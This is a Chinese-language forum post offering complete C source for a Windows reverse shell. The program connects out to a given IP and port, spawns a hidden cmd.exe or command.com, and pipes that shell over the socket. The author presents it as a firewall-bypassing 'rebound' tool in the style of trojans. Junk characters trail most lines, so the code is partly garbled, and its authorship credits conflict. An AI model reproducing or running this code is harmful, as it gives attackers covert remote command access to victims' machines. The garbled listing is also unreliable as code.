Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。
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/* ============================== `$B3X  
Rebound port in Windows NT :@!ic
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By wind,2006/7 l?Fb ='#  
===============================*/ @)-$kk*  
#include &d5ia+#  
#include <~n$1aA  
;d'Z|H;  
#pragma comment(lib,"wsock32.lib") m q{];  
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void OutputShell(); OBP1B@|l$+  
SOCKET sClient; <]b7ZF]  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a)#1{JaoY  
k}0^&Quc4  
void main(int argc,char **argv) ijdXU8  
{ <F.Tx$s  
WSADATA stWsaData; >B2q+tA  
int nRet; CJXg@\\/  
SOCKADDR_IN stSaiClient,stSaiServer; 2w-51tqm  
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if(argc != 3) P
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{ K!]1oy'V  
printf("Useage:\n\rRebound DestIP DestPort\n"); M>>qn_yq4  
return; ,i,q!M
{-  
} 8WXJ.  
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WSAStartup(MAKEWORD(2,2),&stWsaData); vMs$ceq  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); E4W zU  
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stSaiClient.sin_family = AF_INET; y
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stSaiClient.sin_port = htons(0); !ZI7&r`u;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ;x8k[p~2  
T7d9ChU\#.  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) &2=dNREJ}1  
{ OKvPL=~  
printf("Bind Socket Failed!\n"); DANw1_X\  
return; )h8\u_U  
} =T7A]U]  
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stSaiServer.sin_family = AF_INET; (Gw,2-A  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); }Iz7l{al  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); _+^ 2^TW  
`/MvQ/  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) =l0Jb#d  
{ DVkB$2
]  
printf("Connect Error!"); v^_mFp-}\  
return; .LuB\o$  
} QEu=-7@>  
OutputShell(); aKd+CO:  
} 5n ^TR
B  
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void OutputShell() 6"D/xV3Z  
{ Zb134b
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char szBuff[1024]; ^+1#[E
  
SECURITY_ATTRIBUTES stSecurityAttributes; Q26qNn bK  
OSVERSIONINFO stOsversionInfo; ocyb5j  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; His*t1o8'O  
STARTUPINFO stStartupInfo; 'D%w|Pe?Q  
char *szShell; M!tXN&V]  
PROCESS_INFORMATION stProcessInformation; b77>$[xB  
unsigned long lBytesRead; @mBX~ ?=Z3  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); w1|A5q'M  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xGG,2W+z  
stSecurityAttributes.lpSecurityDescriptor = 0; _` [h,=  
stSecurityAttributes.bInheritHandle = TRUE; }h}<!s  
&V<W>Y>|l*  
7oR:1DXw|  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ) 9oH,gZ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ,.o<no  
U7DCx=B  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); >R2SQA o  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; d|*"IFe  
stStartupInfo.wShowWindow = SW_HIDE; wV)}a5+  
stStartupInfo.hStdInput = hReadPipe; s-7RW  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; N*@aDM07  
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GetVersionEx(&stOsversionInfo); v
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n?:=  
switch(stOsversionInfo.dwPlatformId) 3J=Y9 }  
{ XZ/[v8  
case 1: N|Sf=q?Ko  
szShell = "command.com"; I Nc^L  
break; _zu?.I0^  
default: @y/wEBb  
szShell = "cmd.exe"; _HA$ j2  
break; Jy aag-  
} x+@&(NMP5  
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^  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); lMz<s  
!P$'#5mr  
send(sClient,szMsg,77,0); (?*BB3b`  
while(1) \bx~*FaX  
{ 3s>'hn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 3~qR  
if(lBytesRead) > QFHm5Jw  
{ 7 ua6l[c  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 8v)_6p(<x8  
send(sClient,szBuff,lBytesRead,0); EOoZoVdzx  
} >z`,ch6~  
else 34QfgMyH  
{ 1[*{(e  
lBytesRead=recv(sClient,szBuff,1024,0); tyDY'W\]  
if(lBytesRead<=0) break; lI/0:|l  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7DfTfTU6  
} "W#t;;9Wz  
} aRc'  
)){xlFA}  
return; sIl33kmv  
}